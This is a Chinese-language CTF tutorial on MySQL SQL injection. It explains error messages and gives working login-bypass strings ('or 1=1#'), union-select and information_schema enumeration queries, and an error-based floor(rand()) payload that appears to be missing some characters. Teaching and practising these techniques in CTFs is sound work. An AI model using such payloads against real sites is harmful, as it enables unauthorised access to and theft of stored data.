sql注入是我们常见的ctf的web类型题目,因此我们在做这类题时经常会在页面上返回错误信息,因此熟悉一些常见的sql注入信息是很重要的,下面我介绍一些自己常遇到的mysql报错信息。
我们在页面上返回的错误信息不仅仅只有mysql返回的,可能还有服务器返回的,因此我仅仅对mysql返回的错误信息进行总结
.
1,报错信息 The used SELECT statements have a different number of columns
这个报错信息经常出现在我们联合查询时,比如我给一个例子:
select * from tieba where id=100 union select 1,2,3,4,5,6,7 from tieba;
这便是一个联合查询的语句,出现错误的原因是我们在第一个查询和第二个查询里的字段数目不相等造成的,比如第一个查询的语句只有三个返回字段,而第二个查询语句里有七个返回字段,这样便会返回错误。
2,报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '';'' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1
像这类的错误常常是我们没有闭合引号或者小括号造成的。
我们可以使用联合查询来实现一些操作,现在我来说明一下union的使用方法。
union的作用便是将多个查询语句的结果集合到一个集合当中,但是有一个限制条件,那便是查询语句返回的字段数要是一样的,否则便会报错。
因此我们可以利用union来进行sql注入操作,首先我们要确保第一个查询语句的返回结果为空,这便返回的结果是我们所需要的了,还有一种便是当我们登陆时,便会有一个查询的过程,因此我们可以利用构造联合查询语句来使我们的查询有返回结果。
接下来讲解一些关于sql注入的一些用法:
一些简单的sql注入题型都会显示出错误的信息,因此我们可以通过错误信息来了解sql的查询语句。
常见的闭合方式有:单引号,双引号,小括号等的混合使用,因此我们可以根据错误信息构造一些自己想要的sql查询语句
11‘ or 1=1# 11“ or 1=1# 11) or 1=1# 11’) or 1=1# 11”) or 1=1# 这个便是万能密码的语句,如果没有经过检查便会登陆
如果有显示字段,我们可以通过联合查询的方法来进行查询自己想要的结果
联合查询的条件便是使前面一个的查询语句不成功,然后便会显示自己构造的查询语句,还有便是将后面的语句给注释掉用#
还要知道第一个查询有多少个字段,自己构造的查询语句应该和第一个的查询字段数目相等,否则会报错,开始构造语句之前还要知道前面的闭合方式,这个需要自己去检验。
eg:11” order by 3# 用来检验有多少个字段,通过不断改变后面的数字
eg:11“ union select 1,2,3# 用来检验回现字段
eg:11“ union select database()# 查询自己当前的数据库名
eg:11" union select table_name from information_schema.tables where table_schema=database()#表示查询当前数据库的表
然后在columns这个数据库里查找字段名,然后在查找信息eg:select 字段1,字段2 from 表1#
以上总结的是有回显字段的查询接下来讲解没有回显字段的查询
我们需要构造一个子查询,将自己的查询语句放在子查询语句里,然后我们需要使用count(*)等函数,并且还要分组显示,这样便会将子查询的结果以错误的方式显示出来
eg:11” union select count(),1,concat('---',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'---',floor(rand()2)) as a from information_schema.tables where table_schema=database()#
这边是构造出来的语句。
当然我们通常遇到的sql注入题不会这么简单,通常有各种过滤的,有时会过滤单引号,双引号,union等等
通常使用的过滤语句有:
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false